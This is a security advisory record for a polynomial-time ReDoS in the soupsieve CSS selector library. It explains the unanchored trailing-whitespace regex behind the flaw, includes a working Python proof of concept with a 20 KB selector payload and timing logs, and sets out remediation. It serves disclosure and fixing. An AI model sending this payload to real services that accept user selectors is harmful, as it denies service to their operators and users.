CVE-2026-85999: Soup Sieve Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j934-xhv5-fg8f",
  "modified" : "2026-09-17T20:32:53Z",
  "published" : "2026-09-17T20:32:53Z",
  "aliases" : [ "CVE-2026-85999" ],
  "summary" : "Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)",
  "details" : "## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr'^{WSC}*')   # anchored at start -> .search() only tries pos 0 -> linear (safe)\nRE_WS_END   = re.compile(fr'{WSC}*$')   # NOT anchored at start -> .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern)                     # <-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel); st = \"ok\"\n    except Exception as e:\n        st = type(e).__name__\n    return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = ct(\"a\" + \" \" * n + \"b\")\n    print(f\"  n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\">\"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):\n  n=2000   len=2002        112.3 ms  [ok]\n  n=4000   len=4002        411.5 ms  [ok]\n  n=8000   len=8002       1602.9 ms  [ok]\n  n=16000  len=16002      6464.1 ms  [ok]\n\nVALID-looking 'a' + '/*x*/'*n + 'b'  (CSS comment run):\n  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]\n  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]\n  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]\n  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]\n\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len=20002)\n[+] wall time = 10.23 s   [ok]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector 'a' + ' '*n + 'b':\n  n=2000   len=2002        102.7 ms  [ok]\n  n=4000   len=4002        404.3 ms  [ok]\n  n=8000   len=8002       1618.2 ms  [ok]\n  n=16000  len=16002      6457.9 ms  [ok]\n[+] Single call: compile('a' + ' '*20000 + 'b')  wall time = 10.11 s   [ok]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r'^{WSC}*').match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before compiling.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "soupsieve"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.9.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-85999"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/facelessuser/soupsieve"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/facelessuser/soupsieve/releases/tag/2.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333", "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-17T20:32:53Z",
    "nvd_published_at" : "2026-09-17T16:18:16Z"
  }
}